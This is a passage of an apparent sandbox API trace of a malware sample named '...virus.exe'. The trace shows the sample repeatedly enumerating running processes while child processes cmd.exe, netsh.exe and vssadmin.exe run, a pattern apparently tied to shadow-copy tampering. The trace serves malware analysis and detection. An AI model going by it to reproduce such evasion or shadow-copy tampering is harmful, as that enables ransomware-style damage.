lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0246.342] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.342] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0246.342] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.342] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0246.343] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0246.343] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0246.344] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0246.344] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0246.344] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0246.345] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0246.345] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0246.345] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0246.346] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0246.346] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.346] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0246.346] CloseHandle (hObject=0x100) returned 1 [0246.347] Sleep (dwMilliseconds=0x1f4) [0246.848] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0246.850] Process32FirstW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.850] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0246.851] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0246.851] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.851] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0246.852] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.852] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0246.852] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0246.853] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0246.853] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0246.853] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.854] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.854] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.854] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.855] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.855] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0246.855] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.856] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.856] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.856] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0246.857] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.857] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0246.857] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.858] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0246.858] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0246.858] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0246.859] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0246.859] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0246.859] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0246.860] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0246.860] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0246.860] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0246.861] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0246.861] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.861] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0246.862] CloseHandle (hObject=0x100) returned 1 [0246.862] Sleep (dwMilliseconds=0x1f4) [0247.363] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0247.365] Process32FirstW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.365] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0247.366] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0247.366] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.367] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0247.367] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.368] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0247.368] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0247.368] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0247.369] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0247.369] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.370] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.370] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.371] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.371] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.371] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0247.372] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.372] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.373] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0247.373] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0247.373] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0247.374] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0247.374] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.375] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0247.375] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0247.376] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0247.376] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0247.376] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0247.377] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0247.377] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0247.378] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0247.378] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: 